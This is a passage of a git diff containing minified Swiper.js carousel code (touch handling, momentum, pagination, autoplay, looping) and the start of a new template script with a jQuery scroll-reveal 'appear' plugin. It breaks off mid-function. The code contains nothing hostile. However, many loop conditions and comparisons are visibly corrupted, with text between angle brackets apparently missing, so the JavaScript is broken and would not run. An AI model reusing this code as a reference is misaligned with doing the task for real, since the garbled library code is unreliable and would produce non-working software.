h,i=1e3*b.momentumRatio,j=D.velocity*i,k=D.positions.current+j,l=!1,m=20*Math.abs(D.velocity)*b.momentumBounceRatio;-g>k&&(b.momentumBounce&&D.support.transitions?(-m>k+g&&(k=-g-m),h=-g,l=!0,_=!0):k=-g),k>0&&(b.momentumBounce&&D.support.transitions?(k>m&&(k=m),h=0,l=!0,_=!0):k=0),0!==D.velocity&&(i=Math.abs((k-D.positions.current)/D.velocity)),D.setWrapperTranslate(k),D.setWrapperTransition(i),b.momentumBounce&&l&&D.wrapperTransitionEnd(function(){_&&(b.onMomentumBounce&&D.fireCallback(b.onMomentumBounce,D),D.callPlugins("onMomentumBounce"),D.setWrapperTranslate(h),D.setWrapperTransition(300))}),D.updateActiveSlide(k)}return(!b.freeModeFluid||f>=300)&&D.updateActiveSlide(D.positions.current),b.onTouchEnd&&D.fireCallback(b.onTouchEnd,D,a),void D.callPlugins("onTouchEnd")}H=0>c?"toNext":"toPrev","toNext"===H&&300>=f&&(30>d||!b.shortSwipes?D.swipeReset():D.swipeNext(!0,!0)),"toPrev"===H&&300>=f&&(30>d||!b.shortSwipes?D.swipeReset():D.swipePrev(!0,!0));var n=0;if("auto"===b.slidesPerView){for(var o,p=Math.abs(D.getWrapperTranslate()),q=0,r=0;rp){n=o;break}n>J&&(n=J)}else n=F*b.slidesPerView;"toNext"===H&&f>300&&(d>=n*b.longSwipesRatio?D.swipeNext(!0,!0):D.swipeReset()),"toPrev"===H&&f>300&&(d>=n*b.longSwipesRatio?D.swipePrev(!0,!0):D.swipeReset()),b.onTouchEnd&&D.fireCallback(b.onTouchEnd,D,a),D.callPlugins("onTouchEnd")}}function s(a,b){return a&&a.getAttribute("class")&&a.getAttribute("class").indexOf(b)>-1}function t(a){var c=!1;do s(a,b.noSwipingClass)&&(c=!0),a=a.parentElement;while(!c&&a.parentElement&&!s(a,b.wrapperClass));return!c&&s(a,b.wrapperClass)&&s(a,b.noSwipingClass)&&(c=!0),c}function u(a,b){var c,d=document.createElement("div");return d.innerHTML=b,c=d.firstChild,c.className+=" "+a,c.outerHTML}function v(a,c,d){function e(){var f=+new Date,l=f-g;h+=i*l/(1e3/60),k="toNext"===j?h>a:a>h,k?(D.setWrapperTranslate(Math.ceil(h)),D._DOMAnimating=!0,window.setTimeout(function(){e()},1e3/60)):(b.onSlideChangeEnd&&("to"===c?d.runCallbacks===!0&&D.fireCallback(b.onSlideChangeEnd,D,j):D.fireCallback(b.onSlideChangeEnd,D,j)),D.setWrapperTranslate(a),D._DOMAnimating=!1)}var f="to"===c&&d.speed>=0?d.speed:b.speed,g=+new Date;if(D.support.transitions||!b.DOMAnimation)D.setWrapperTranslate(a),D.setWrapperTransition(f);else{var h=D.getWrapperTranslate(),i=Math.ceil((a-h)/f*(1e3/60)),j=h>a?"toNext":"toPrev",k="toNext"===j?h>a:a>h;if(D._DOMAnimating)return;e()}D.updateActiveSlide(a),b.onSlideNext&&"next"===c&&d.runCallbacks===!0&&D.fireCallback(b.onSlideNext,D,a),b.onSlidePrev&&"prev"===c&&d.runCallbacks===!0&&D.fireCallback(b.onSlidePrev,D,a),b.onSlideReset&&"reset"===c&&d.runCallbacks===!0&&D.fireCallback(b.onSlideReset,D,a),"next"!==c&&"prev"!==c&&"to"!==c||d.runCallbacks!==!0||w(c)}function w(a){if(D.callPlugins("onSlideChangeStart"),b.onSlideChangeStart)if(b.queueStartCallbacks&&D.support.transitions){if(D._queueStartCallbacks)return;D._queueStartCallbacks=!0,D.fireCallback(b.onSlideChangeStart,D,a),D.wrapperTransitionEnd(function(){D._queueStartCallbacks=!1})}else D.fireCallback(b.onSlideChangeStart,D,a);if(b.onSlideChangeEnd)if(D.support.transitions)if(b.queueEndCallbacks){if(D._queueEndCallbacks)return;D._queueEndCallbacks=!0,D.wrapperTransitionEnd(function(c){D.fireCallback(b.onSlideChangeEnd,c,a)})}else D.wrapperTransitionEnd(function(c){D.fireCallback(b.onSlideChangeEnd,c,a)});else b.DOMAnimation||setTimeout(function(){D.fireCallback(b.onSlideChangeEnd,D,a)},10)}function x(){var a=D.paginationButtons;if(a)for(var b=0;b0&&0===D.slides.length&&D.loadSlides(),b.loop&&D.createLoop(),D.init(),f(),b.pagination&&D.createPagination(!0),b.loop||b.initialSlide>0?D.swipeTo(b.initialSlide,0,!1):D.updateActiveSlide(0),b.autoplay&&D.startAutoplay(),D.centerIndex=D.activeIndex,b.onSwiperCreated&&D.fireCallback(b.onSwiperCreated,D),D.callPlugins("onSwiperCreated")}if(!document.body.outerHTML&&document.body.__defineGetter__&&HTMLElement){var C=HTMLElement.prototype;C.__defineGetter__&&C.__defineGetter__("outerHTML",function(){return(new XMLSerializer).serializeToString(this)})}if(window.getComputedStyle||(window.getComputedStyle=function(a){return this.el=a,this.getPropertyValue=function(b){var c=/(\-([a-z]){1})/g;return"float"===b&&(b="styleFloat"),c.test(b)&&(b=b.replace(c,function(){return arguments[2].toUpperCase()})),a.currentStyle[b]?a.currentStyle[b]:null},this}),Array.prototype.indexOf||(Array.prototype.indexOf=function(a,b){for(var c=b||0,d=this.length;d>c;c++)if(this[c]===a)return c;return-1}),(document.querySelectorAll||window.jQuery)&&"undefined"!=typeof a&&(a.nodeType||0!==c(a).length)){var D=this;D.touches={start:0,startX:0,startY:0,current:0,currentX:0,currentY:0,diff:0,abs:0},D.positions={start:0,abs:0,diff:0,current:0},D.times={start:0,end:0},D.id=(new Date).getTime(),D.container=a.nodeType?a:c(a)[0],D.isTouched=!1,D.isMoved=!1,D.activeIndex=0,D.centerIndex=0,D.activeLoaderIndex=0,D.activeLoopIndex=0,D.previousIndex=null,D.velocity=0,D.snapGrid=[],D.slidesGrid=[],D.imagesToLoad=[],D.imagesLoaded=0,D.wrapperLeft=0,D.wrapperRight=0,D.wrapperTop=0,D.wrapperBottom=0,D.isAndroid=navigator.userAgent.toLowerCase().indexOf("android")>=0;var E,F,G,H,I,J,K={eventTarget:"wrapper",mode:"horizontal",touchRatio:1,speed:300,freeMode:!1,freeModeFluid:!1,momentumRatio:1,momentumBounce:!0,momentumBounceRatio:1,slidesPerView:1,slidesPerGroup:1,slidesPerViewFit:!0,simulateTouch:!0,followFinger:!0,shortSwipes:!0,longSwipesRatio:.5,moveStartThreshold:!1,onlyExternal:!1,createPagination:!0,pagination:!1,paginationElement:"span",paginationClickable:!1,paginationAsRange:!0,resistance:!0,scrollContainer:!1,preventLinks:!0,preventLinksPropagation:!1,noSwiping:!1,noSwipingClass:"swiper-no-swiping",initialSlide:0,keyboardControl:!1,mousewheelControl:!1,mousewheelControlForceToAxis:!1,useCSS3Transforms:!0,autoplay:!1,autoplayDisableOnInteraction:!0,autoplayStopOnLast:!1,loop:!1,loopAdditionalSlides:0,roundLengths:!1,calculateHeight:!1,cssWidthAndHeight:!1,updateOnImagesReady:!0,releaseFormElements:!0,watchActiveIndex:!1,visibilityFullFit:!1,offsetPxBefore:0,offsetPxAfter:0,offsetSlidesBefore:0,offsetSlidesAfter:0,centeredSlides:!1,queueStartCallbacks:!1,queueEndCallbacks:!1,autoResize:!0,resizeReInit:!1,DOMAnimation:!0,loader:{slides:[],slidesHTMLType:"inner",surroundGroups:1,logic:"reload",loadAllSlides:!1},swipeToPrev:!0,swipeToNext:!0,slideElement:"div",slideClass:"swiper-slide",slideActiveClass:"swiper-slide-active",slideVisibleClass:"swiper-slide-visible",slideDuplicateClass:"swiper-slide-duplicate",wrapperClass:"swiper-wrapper",paginationElementClass:"swiper-pagination-switch",paginationActiveClass:"swiper-active-switch",paginationVisibleClass:"swiper-visible-switch"};b=b||{};for(var L in K)if(L in b&&"object"==typeof b[L])for(var M in K[L])M in b[L]||(b[L][M]=K[L][M]);else L in b||(b[L]=K[L]);D.params=b,b.scrollContainer&&(b.freeMode=!0,b.freeModeFluid=!0),b.loop&&(b.resistance="100%");var N="horizontal"===b.mode,O=["mousedown","mousemove","mouseup"];D.browser.ie10&&(O=["MSPointerDown","MSPointerMove","MSPointerUp"]),D.browser.ie11&&(O=["pointerdown","pointermove","pointerup"]),D.touchEvents={touchStart:D.support.touch||!b.simulateTouch?"touchstart":O[0],touchMove:D.support.touch||!b.simulateTouch?"touchmove":O[1],touchEnd:D.support.touch||!b.simulateTouch?"touchend":O[2]};for(var P=D.container.childNodes.length-1;P>=0;P--)if(D.container.childNodes[P].className)for(var Q=D.container.childNodes[P].className.split(/\s+/),R=0;R=0;c--)a===D.slides[c]&&(b=c);return b},a.isActive=function(){return a.index()===D.activeIndex?!0:!1},a.swiperSlideDataStorage||(a.swiperSlideDataStorage={}),a.getData=function(b){return a.swiperSlideDataStorage[b]},a.setData=function(b,c){return a.swiperSlideDataStorage[b]=c,a},a.data=function(b,c){return"undefined"==typeof c?a.getAttribute("data-"+b):(a.setAttribute("data-"+b,c),a)},a.getWidth=function(b,c){return D.h.getWidth(a,b,c)},a.getHeight=function(b,c){return D.h.getHeight(a,b,c)},a.getOffset=function(){return D.h.getOffset(a)},a},D.calcSlides=function(a){var c=D.slides?D.slides.length:!1;D.slides=[],D.displaySlides=[];for(var d=0;d=0;d--)D._extendSwiperSlide(D.slides[d]);c!==!1&&(c!==D.slides.length||a)&&(h(),g(),D.updateActiveSlide(),D.params.pagination&&D.createPagination(),D.callPlugins("numberOfSlidesChanged"))},D.createSlide=function(a,c,d){c=c||D.params.slideClass,d=d||b.slideElement;var e=document.createElement(d);return e.innerHTML=a||"",e.className=c,D._extendSwiperSlide(e)},D.appendSlide=function(a,b,c){return a?a.nodeType?D._extendSwiperSlide(a).append():D.createSlide(a,b,c).append():void 0},D.prependSlide=function(a,b,c){return a?a.nodeType?D._extendSwiperSlide(a).prepend():D.createSlide(a,b,c).prepend():void 0},D.insertSlideAfter=function(a,b,c,d){return"undefined"==typeof a?!1:b.nodeType?D._extendSwiperSlide(b).insertAfter(a):D.createSlide(b,c,d).insertAfter(a)},D.removeSlide=function(a){if(D.slides[a]){if(b.loop){if(!D.slides[a+D.loopedSlides])return!1;D.slides[a+D.loopedSlides].remove(),D.removeLoopedSlides(),D.calcSlides(),D.createLoop()}else D.slides[a].remove();return!0}return!1},D.removeLastSlide=function(){return D.slides.length>0?(b.loop?(D.slides[D.slides.length-1-D.loopedSlides].remove(),D.removeLoopedSlides(),D.calcSlides(),D.createLoop()):D.slides[D.slides.length-1].remove(),!0):!1},D.removeAllSlides=function(){for(var a=D.slides.length,b=D.slides.length-1;b>=0;b--)D.slides[b].remove(),b===a-1&&D.setWrapperTranslate(0)},D.getSlide=function(a){return D.slides[a]},D.getLastSlide=function(){return D.slides[D.slides.length-1]},D.getFirstSlide=function(){return D.slides[0]},D.activeSlide=function(){return D.slides[D.activeIndex]},D.fireCallback=function(){var a=arguments[0];if("[object Array]"===Object.prototype.toString.call(a))for(var c=0;c0&&(m.style.paddingLeft="",m.style.paddingRight="",m.style.paddingTop="",m.style.paddingBottom=""),m.style.width="",m.style.height="",b.offsetPxBefore>0&&(N?D.wrapperLeft=b.offsetPxBefore:D.wrapperTop=b.offsetPxBefore),b.offsetPxAfter>0&&(N?D.wrapperRight=b.offsetPxAfter:D.wrapperBottom=b.offsetPxAfter),b.centeredSlides&&(N?(D.wrapperLeft=(J-this.slides[0].getWidth(!0,b.roundLengths))/2,D.wrapperRight=(J-D.slides[D.slides.length-1].getWidth(!0,b.roundLengths))/2):(D.wrapperTop=(J-D.slides[0].getHeight(!0,b.roundLengths))/2,D.wrapperBottom=(J-D.slides[D.slides.length-1].getHeight(!0,b.roundLengths))/2)),N?(D.wrapperLeft>=0&&(m.style.paddingLeft=D.wrapperLeft+"px"),D.wrapperRight>=0&&(m.style.paddingRight=D.wrapperRight+"px")):(D.wrapperTop>=0&&(m.style.paddingTop=D.wrapperTop+"px"),D.wrapperBottom>=0&&(m.style.paddingBottom=D.wrapperBottom+"px")),k=0;var p=0;for(D.snapGrid=[],D.slidesGrid=[],h=0,l=0;lJ){if(b.slidesPerViewFit)D.snapGrid.push(k+D.wrapperLeft),D.snapGrid.push(k+q-J+D.wrapperLeft);else for(var u=0;u<=Math.floor(q/(J+D.wrapperLeft));u++)D.snapGrid.push(0===u?k+D.wrapperLeft:k+D.wrapperLeft+J*u);D.slidesGrid.push(k+D.wrapperLeft)}else D.snapGrid.push(p),D.slidesGrid.push(p);p+=q/2+t/2}else{if(q>J)if(b.slidesPerViewFit)D.snapGrid.push(k),D.snapGrid.push(k+q-J);else if(0!==J)for(var v=0;v<=Math.floor(q/J);v++)D.snapGrid.push(k+J*v);else D.snapGrid.push(k);else D.snapGrid.push(k);D.slidesGrid.push(k)}k+=q,n+=f,o+=g}b.calculateHeight&&(D.height=h),N?(G=n+D.wrapperRight+D.wrapperLeft,b.cssWidthAndHeight&&"height"!==b.cssWidthAndHeight||(m.style.width=n+"px"),b.cssWidthAndHeight&&"width"!==b.cssWidthAndHeight||(m.style.height=D.height+"px")):(b.cssWidthAndHeight&&"height"!==b.cssWidthAndHeight||(m.style.width=D.width+"px"),b.cssWidthAndHeight&&"width"!==b.cssWidthAndHeight||(m.style.height=o+"px"),G=o+D.wrapperTop+D.wrapperBottom)}else if(b.scrollContainer)m.style.width="",m.style.height="",i=D.slides[0].getWidth(!0,b.roundLengths),j=D.slides[0].getHeight(!0,b.roundLengths),G=N?i:j,m.style.width=i+"px",m.style.height=j+"px",F=N?i:j;else{if(b.calculateHeight){for(h=0,j=0,N||(D.container.style.height=""),m.style.height="",l=0;l0&&(N?D.wrapperLeft=F*b.offsetSlidesBefore:D.wrapperTop=F*b.offsetSlidesBefore),b.offsetSlidesAfter>0&&(N?D.wrapperRight=F*b.offsetSlidesAfter:D.wrapperBottom=F*b.offsetSlidesAfter),b.offsetPxBefore>0&&(N?D.wrapperLeft=b.offsetPxBefore:D.wrapperTop=b.offsetPxBefore),b.offsetPxAfter>0&&(N?D.wrapperRight=b.offsetPxAfter:D.wrapperBottom=b.offsetPxAfter),b.centeredSlides&&(N?(D.wrapperLeft=(J-F)/2,D.wrapperRight=(J-F)/2):(D.wrapperTop=(J-F)/2,D.wrapperBottom=(J-F)/2)),N?(D.wrapperLeft>0&&(m.style.paddingLeft=D.wrapperLeft+"px"),D.wrapperRight>0&&(m.style.paddingRight=D.wrapperRight+"px")):(D.wrapperTop>0&&(m.style.paddingTop=D.wrapperTop+"px"),D.wrapperBottom>0&&(m.style.paddingBottom=D.wrapperBottom+"px")),G=N?i+D.wrapperRight+D.wrapperLeft:j+D.wrapperTop+D.wrapperBottom,parseFloat(i)>0&&(!b.cssWidthAndHeight||"height"===b.cssWidthAndHeight)&&(m.style.width=i+"px"),parseFloat(j)>0&&(!b.cssWidthAndHeight||"width"===b.cssWidthAndHeight)&&(m.style.height=j+"px"),k=0,D.snapGrid=[],D.slidesGrid=[],l=0;l0&&(!b.cssWidthAndHeight||"height"===b.cssWidthAndHeight)&&(D.slides[l].style.width=f+"px"),parseFloat(g)>0&&(!b.cssWidthAndHeight||"width"===b.cssWidthAndHeight)&&(D.slides[l].style.height=g+"px")}D.initialized?(D.callPlugins("onInit"),b.onInit&&D.fireCallback(b.onInit,D)):(D.callPlugins("onFirstInit"),b.onFirstInit&&D.fireCallback(b.onFirstInit,D)),D.initialized=!0}},D.reInit=function(a){D.init(!0,a)},D.resizeFix=function(a){D.callPlugins("beforeResizeFix"),D.init(b.resizeReInit||a),b.freeMode?D.getWrapperTranslate()<-e()&&(D.setWrapperTransition(0),D.setWrapperTranslate(-e())):(D.swipeTo(b.loop?D.activeLoopIndex:D.activeIndex,0,!1),b.autoplay&&(D.support.transitions&&"undefined"!=typeof ab?"undefined"!=typeof ab&&(clearTimeout(ab),ab=void 0,D.startAutoplay()):"undefined"!=typeof bb&&(clearInterval(bb),bb=void 0,D.startAutoplay()))),D.callPlugins("afterResizeFix")},D.destroy=function(a){var c=D.h.removeEventListener,d="wrapper"===b.eventTarget?D.wrapper:D.container;if(D.browser.ie10||D.browser.ie11?(c(d,D.touchEvents.touchStart,p),c(document,D.touchEvents.touchMove,q),c(document,D.touchEvents.touchEnd,r)):(D.support.touch&&(c(d,"touchstart",p),c(d,"touchmove",q),c(d,"touchend",r)),b.simulateTouch&&(c(d,"mousedown",p),c(document,"mousemove",q),c(document,"mouseup",r))),b.autoResize&&c(window,"resize",D.resizeFix),h(),b.paginationClickable&&x(),b.mousewheelControl&&D._wheelEvent&&c(D.container,D._wheelEvent,j),b.keyboardControl&&c(document,"keydown",i),b.autoplay&&D.stopAutoplay(),a){D.wrapper.removeAttribute("style");for(var e=0;e=D.snapGrid[g].toFixed(2)&&-dD.snapGrid[f]&&-e0&&(d=0),d===e?!1:(v(d,"prev",{runCallbacks:a}),!0)},D.swipeReset=function(a){"undefined"==typeof a&&(a=!0),D.callPlugins("onSwipeReset");{var c,d=D.getWrapperTranslate(),f=F*b.slidesPerGroup;-e()}if("auto"===b.slidesPerView){c=0;for(var g=0;g=D.snapGrid[g]&&-d0?-D.snapGrid[g+1]:-D.snapGrid[g];break}}-d>=D.snapGrid[D.snapGrid.length-1]&&(c=-D.snapGrid[D.snapGrid.length-1]),d<=-e()&&(c=-e())}else c=0>d?Math.round(d/f)*f:0,d<=-e()&&(c=-e());return b.scrollContainer&&(c=0>d?d:0),c<-e()&&(c=-e()),b.scrollContainer&&J>F&&(c=0),c===d?!1:(v(c,"reset",{runCallbacks:a}),!0)},D.swipeTo=function(a,c,d){a=parseInt(a,10),D.callPlugins("onSwipeTo",{index:a,speed:c}),b.loop&&(a+=D.loopedSlides);var f=D.getWrapperTranslate();if(!(!isFinite(a)||a>D.slides.length-1||0>a)){var g;return g="auto"===b.slidesPerView?-D.slidesGrid[a]:-a*F,g<-e()&&(g=-e()),g===f?!1:("undefined"==typeof d&&(d=!0),v(g,"to",{index:a,speed:c,runCallbacks:d}),!0)}},D._queueStartCallbacks=!1,D._queueEndCallbacks=!1,D.updateActiveSlide=function(a){if(D.initialized&&0!==D.slides.length){D.previousIndex=D.activeIndex,"undefined"==typeof a&&(a=D.getWrapperTranslate()),a>0&&(a=0);var c;if("auto"===b.slidesPerView){if(D.activeIndex=D.slidesGrid.indexOf(-a),D.activeIndex<0){for(c=0;cD.slidesGrid[c]&&-a=d?c:c+1}}else D.activeIndex=Math[b.visibilityFullFit?"ceil":"round"](-a/F);if(D.activeIndex===D.slides.length&&(D.activeIndex=D.slides.length-1),D.activeIndex<0&&(D.activeIndex=0),D.slides[D.activeIndex]){if(D.calcVisibleSlides(a),D.support.classList){var f;for(c=0;c=0?f.classList.add(b.slideVisibleClass):f.classList.remove(b.slideVisibleClass);D.slides[D.activeIndex].classList.add(b.slideActiveClass)}else{var g=new RegExp("\\s*"+b.slideActiveClass),h=new RegExp("\\s*"+b.slideVisibleClass);for(c=0;c=0&&(D.slides[c].className+=" "+b.slideVisibleClass);D.slides[D.activeIndex].className+=" "+b.slideActiveClass}if(b.loop){var i=D.loopedSlides;D.activeLoopIndex=D.activeIndex-i,D.activeLoopIndex>=D.slides.length-2*i&&(D.activeLoopIndex=D.slides.length-2*i-D.activeLoopIndex),D.activeLoopIndex<0&&(D.activeLoopIndex=D.slides.length-2*i+D.activeLoopIndex),D.activeLoopIndex<0&&(D.activeLoopIndex=0)}else D.activeLoopIndex=D.activeIndex;b.pagination&&D.updatePagination(a)}}},D.createPagination=function(a){if(b.paginationClickable&&D.paginationButtons&&x(),D.paginationContainer=b.pagination.nodeType?b.pagination:c(b.pagination)[0],b.createPagination){var d="",e=D.slides.length,f=e;b.loop&&(f-=2*D.loopedSlides);for(var g=0;f>g;g++)d+="<"+b.paginationElement+' class="'+b.paginationElementClass+'">";D.paginationContainer.innerHTML=d}D.paginationButtons=c("."+b.paginationElementClass,D.paginationContainer),a||D.updatePagination(),D.callPlugins("onCreatePagination"),b.paginationClickable&&y()},D.updatePagination=function(a){if(b.pagination&&!(D.slides.length<1)){var d=c("."+b.paginationActiveClass,D.paginationContainer);if(d){var e=D.paginationButtons;if(0!==e.length){for(var f=0;fj&&(j=D.slides.length-2*D.loopedSlides+j),b.loop&&j>=D.slides.length-2*D.loopedSlides&&(j=D.slides.length-2*D.loopedSlides-j,j=Math.abs(j)),i.push(j)}for(h=0;h0&&(a+=D.wrapperLeft),!N&&D.wrapperTop>0&&(a+=D.wrapperTop);for(var g=0;g=-a&&-a+J>=f&&(h=!0),-a>=d&&f>=-a+J&&(h=!0)):(f>-a&&-a+J>=f&&(h=!0),d>=-a&&-a+J>d&&(h=!0),-a>d&&f>-a+J&&(h=!0)),h&&c.push(D.slides[g])}0===c.length&&(c=[D.slides[D.activeIndex]]),D.visibleSlides=c};var ab,bb;D.startAutoplay=function(){if(D.support.transitions){if("undefined"!=typeof ab)return!1;if(!b.autoplay)return;D.callPlugins("onAutoplayStart"),b.onAutoplayStart&&D.fireCallback(b.onAutoplayStart,D),A()}else{if("undefined"!=typeof bb)return!1;if(!b.autoplay)return;D.callPlugins("onAutoplayStart"),b.onAutoplayStart&&D.fireCallback(b.onAutoplayStart,D),bb=setInterval(function(){b.loop?(D.fixLoop(),D.swipeNext(!0,!0)):D.swipeNext(!0,!0)||(b.autoplayStopOnLast?(clearInterval(bb),bb=void 0):D.swipeTo(0))},b.autoplay)}},D.stopAutoplay=function(a){if(D.support.transitions){if(!ab)return;ab&&clearTimeout(ab),ab=void 0,a&&!b.autoplayDisableOnInteraction&&D.wrapperTransitionEnd(function(){A()}),D.callPlugins("onAutoplayStop"),b.onAutoplayStop&&D.fireCallback(b.onAutoplayStop,D)}else bb&&clearInterval(bb),bb=void 0,D.callPlugins("onAutoplayStop"),b.onAutoplayStop&&D.fireCallback(b.onAutoplayStop,D)},D.loopCreated=!1,D.removeLoopedSlides=function(){if(D.loopCreated)for(var a=0;aD.slides.length&&(D.loopedSlides=D.slides.length);var a,c="",d="",e="",f=D.slides.length,g=Math.floor(D.loopedSlides/f),h=D.loopedSlides%f;for(a=0;g*f>a;a++){var i=a;if(a>=f){var j=Math.floor(a/f);i=a-f*j}e+=D.slides[i].outerHTML}for(a=0;h>a;a++)d+=u(b.slideDuplicateClass,D.slides[a].outerHTML);for(a=f-h;f>a;a++)c+=u(b.slideDuplicateClass,D.slides[a].outerHTML);var k=c+e+E.innerHTML+e+d;for(E.innerHTML=k,D.loopCreated=!0,D.calcSlides(),a=0;a=D.slides.length-D.loopedSlides)&&D.slides[a].setData("looped",!0);D.callPlugins("onCreateLoop")}},D.fixLoop=function(){var a;D.activeIndex=2*D.loopedSlides||D.activeIndex>D.slides.length-2*b.slidesPerView)&&(a=-D.slides.length+D.activeIndex+D.loopedSlides,D.swipeTo(a,0,!1))},D.loadSlides=function(){var a="";D.activeLoaderIndex=0;for(var c=b.loader.slides,d=b.loader.loadAllSlides?c.length:b.slidesPerView*(1+b.loader.surroundGroups),e=0;d>e;e++)a+="outer"===b.loader.slidesHTMLType?c[e]:"<"+b.slideElement+' class="'+b.slideClass+'" data-swiperindex="'+e+'">'+c[e]+"";D.wrapper.innerHTML=a,D.calcSlides(!0),b.loader.loadAllSlides||D.wrapperTransitionEnd(D.reloadSlides,!0)},D.reloadSlides=function(){var a=b.loader.slides,c=parseInt(D.activeSlide().data("swiperindex"),10);if(!(0>c||c>a.length-1)){D.activeLoaderIndex=c;var d=Math.max(0,c-b.slidesPerView*b.loader.surroundGroups),e=Math.min(c+b.slidesPerView*(1+b.loader.surroundGroups)-1,a.length-1);if(c>0){var f=-F*(c-d);D.setWrapperTranslate(f),D.setWrapperTransition(0)}var g;if("reload"===b.loader.logic){D.wrapper.innerHTML="";var h="";for(g=d;e>=g;g++)h+="outer"===b.loader.slidesHTMLType?a[g]:"<"+b.slideElement+' class="'+b.slideClass+'" data-swiperindex="'+g+'">'+a[g]+"";D.wrapper.innerHTML=h}else{var i=1e3,j=0;for(g=0;gk||k>e?D.wrapper.removeChild(D.slides[g]):(i=Math.min(k,i),j=Math.max(k,j))}for(g=d;e>=g;g++){var l;i>g&&(l=document.createElement(b.slideElement),l.className=b.slideClass,l.setAttribute("data-swiperindex",g),l.innerHTML=a[g],D.wrapper.insertBefore(l,D.wrapper.firstChild)),g>j&&(l=document.createElement(b.slideElement),l.className=b.slideClass,l.setAttribute("data-swiperindex",g),l.innerHTML=a[g],D.wrapper.appendChild(l))}}D.reInit(!0)}},B()}};Swiper.prototype={plugins:{},wrapperTransitionEnd:function(a,b){"use strict";function c(h){if(h.target===f&&(a(e),e.params.queueEndCallbacks&&(e._queueEndCallbacks=!1),!b))for(d=0;d0||0>e)&&(e=a.offsetWidth-parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-left"))-parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-right"))),b&&(e+=parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-left"))+parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-right"))),c?Math.ceil(e):e},getHeight:function(a,b,c){"use strict";if(b)return a.offsetHeight;var d=window.getComputedStyle(a,null).getPropertyValue("height"),e=parseFloat(d);return(isNaN(e)||d.indexOf("%")>0||0>e)&&(e=a.offsetHeight-parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-top"))-parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-bottom"))),b&&(e+=parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-top"))+parseFloat(window.getComputedStyle(a,null).getPropertyValue("padding-bottom"))),c?Math.ceil(e):e},getOffset:function(a){"use strict";var b=a.getBoundingClientRect(),c=document.body,d=a.clientTop||c.clientTop||0,e=a.clientLeft||c.clientLeft||0,f=window.pageYOffset||a.scrollTop,g=window.pageXOffset||a.scrollLeft;return document.documentElement&&!window.pageYOffset&&(f=document.documentElement.scrollTop,g=document.documentElement.scrollLeft),{top:b.top+f-d,left:b.left+g-e}},windowWidth:function(){"use strict";return window.innerWidth?window.innerWidth:document.documentElement&&document.documentElement.clientWidth?document.documentElement.clientWidth:void 0},windowHeight:function(){"use strict";return window.innerHeight?window.innerHeight:document.documentElement&&document.documentElement.clientHeight?document.documentElement.clientHeight:void 0},windowScroll:function(){"use strict";return"undefined"!=typeof pageYOffset?{left:window.pageXOffset,top:window.pageYOffset}:document.documentElement?{left:document.documentElement.scrollLeft,top:document.documentElement.scrollTop}:void 0},addEventListener:function(a,b,c,d){"use strict";"undefined"==typeof d&&(d=!1),a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},removeEventListener:function(a,b,c,d){"use strict";"undefined"==typeof d&&(d=!1),a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)}},setTransform:function(a,b){"use strict";var c=a.style;c.webkitTransform=c.MsTransform=c.msTransform=c.MozTransform=c.OTransform=c.transform=b},setTranslate:function(a,b){"use strict";var c=a.style,d={x:b.x||0,y:b.y||0,z:b.z||0},e=this.support.transforms3d?"translate3d("+d.x+"px,"+d.y+"px,"+d.z+"px)":"translate("+d.x+"px,"+d.y+"px)";c.webkitTransform=c.MsTransform=c.msTransform=c.MozTransform=c.OTransform=c.transform=e,this.support.transforms||(c.left=d.x+"px",c.top=d.y+"px")},setTransition:function(a,b){"use strict";var c=a.style;c.webkitTransitionDuration=c.MsTransitionDuration=c.msTransitionDuration=c.MozTransitionDuration=c.OTransitionDuration=c.transitionDuration=b+"ms"},support:{touch:window.Modernizr&&Modernizr.touch===!0||function(){"use strict";return!!("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch)}(),transforms3d:window.Modernizr&&Modernizr.csstransforms3d===!0||function(){"use strict";var a=document.createElement("div").style;return"webkitPerspective"in a||"MozPerspective"in a||"OPerspective"in a||"MsPerspective"in a||"perspective"in a}(),transforms:window.Modernizr&&Modernizr.csstransforms===!0||function(){"use strict";var a=document.createElement("div").style;return"transform"in a||"WebkitTransform"in a||"MozTransform"in a||"msTransform"in a||"MsTransform"in a||"OTransform"in a}(),transitions:window.Modernizr&&Modernizr.csstransitions===!0||function(){"use strict";var a=document.createElement("div").style;return"transition"in a||"WebkitTransition"in a||"MozTransition"in a||"msTransition"in a||"MsTransition"in a||"OTransition"in a}(),classList:function(){"use strict";var a=document.createElement("div");return"classList"in a}()},browser:{ie8:function(){"use strict";var a=-1;if("Microsoft Internet Explorer"===navigator.appName){var b=navigator.userAgent,c=new RegExp(/MSIE ([0-9]{1,}[\.0-9]{0,})/);null!==c.exec(b)&&(a=parseFloat(RegExp.$1))}return-1!==a&&9>a}(),ie10:window.navigator.msPointerEnabled,ie11:window.navigator.pointerEnabled}},(window.jQuery||window.Zepto)&&!function(a){"use strict";a.fn.swiper=function(b){var c;return this.each(function(d){var e=a(this),f=new Swiper(e[0],b);d||(c=f),e.data("swiper",f)}),c}}(window.jQuery||window.Zepto),"undefined"!=typeof module?module.exports=Swiper:"function"==typeof define&&define.amd&&define([],function(){"use strict";return Swiper}); \ No newline at end of file diff --git a/template/index3/assets/js/my_js_1107.js b/template/index3/assets/js/my_js_1107.js new file mode 100644 index 0000000..71ca36f --- /dev/null +++ b/template/index3/assets/js/my_js_1107.js @@ -0,0 +1,447 @@ +function JPlaceHolder(o) { + this.container = o || $("body"), + this.init() +} ! +function(o, t, a, i) { + var e = o(t); + o.fn.flap = function(n) { + function p() { + r.each(function() { + var t = o(this); + o.abovethetop(this, c) || o.belowthefold(this, c) || t.trigger("appear") + }) + } + var s, r = this, + c = { + threshold: 0, + container: t, + event: "scroll" + }; + return n && o.extend(c, n), + s = c.container === i || c.container === t ? e: o(c.container), + 0 === c.event.indexOf("scroll") && s.bind(c.event, + function() { + return p() + }), + r.each(function() { + var t = this, + a = o(t); + t.loaded = !1, + a.on("appear", + function() { + if (!t.loaded) { + var o = a.attr("data-delay"), + i = a.attr("data-ani"); + t.loaded = !0, + a.css({ + visibility: "visible", + 